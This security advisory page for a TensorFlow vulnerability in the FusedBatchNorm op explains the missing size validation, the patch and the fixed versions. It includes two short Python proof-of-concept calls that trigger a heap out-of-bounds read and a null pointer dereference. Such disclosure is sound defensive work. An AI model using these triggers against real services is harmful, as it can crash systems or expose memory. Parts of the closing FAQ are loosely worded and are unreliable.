CVE-2021-29583: Heap buffer overflow and undefined behavior in `FusedBatchNorm`
Impact The implementation of tf.rawops.FusedBatchNorm is vulnerable to a heap buffer overflow: python import tensorflow as tf
x = tf.zeros([10, 10, 10, 6], dtype=tf.float32) scale = tf.constant([0.0], shape=[1], dtype=tf.float32) offset = tf.constant([0.0], shape=[1], dtype=tf.float32) mean = tf.constant([0.0], shape=[1], dtype=tf.float32) variance = tf.constant([0.0], shape=[1], dtype=tf.float32) epsilon = 0.0 exponentialavgfactor = 0.0 dataformat = "NHWC" istraining = False tf.rawops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponentialavgfactor=exponentialavgfactor, dataformat=dataformat, istraining=istraining) If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:
python import tensorflow as tf import numpy as np
x = tf.zeros([10, 10, 10, 1], dtype=tf.float32) scale = tf.constant([], shape=[0], dtype=tf.float32) offset = tf.constant([], shape=[0], dtype=tf.float32) mean = tf.constant([], shape=[0], dtype=tf.float32) variance = tf.constant([], shape=[0], dtype=tf.float32) epsilon = 0.0 exponentialavgfactor = 0.0 dataformat = "NHWC" istraining = False
tf.rawops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponentialavgfactor=exponentialavgfactor, dataformat=dataformat, istraining=istraining)
The implementation fails to validate that scale, offset, mean and variance (the last two only when required) all have the same number of elements as the number of channels of x. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.
If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.
Patches We have patched the issue in GitHub commit 6972f9dfe325636b3db4e0bc517ee22a159365c0.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Other sources
TensorFlow is an end-to-end open source platform for machine learning. The implementation of tf.rawops.FusedBatchNorm is vulnerable to a heap buffer overflow. If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers. The implementation(https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fusedbatchnormop.cc) fails to validate that scale, offset, mean and variance (the last two only when required) all have the same number of elements as the number of channels of x. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary. If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2021-29583?
CVE-2021-29583 has a high severity due to its potential to cause a heap buffer overflow.
How do I fix CVE-2021-29583?
To fix CVE-2021-29583, update TensorFlow to version 2.4.2 or later.
Which TensorFlow versions are affected by CVE-2021-29583?
CVE-2021-29583 affects TensorFlow versions up to 2.4.1.
What are the potential impacts of CVE-2021-29583?
CVE-2021-29583 may allow remote attackers to exploit heap buffer overflow vulnerabilities.
Is there a workaround for CVE-2021-29583?
There is no specific workaround for CVE-2021-29583; updating to a fixed version is advised.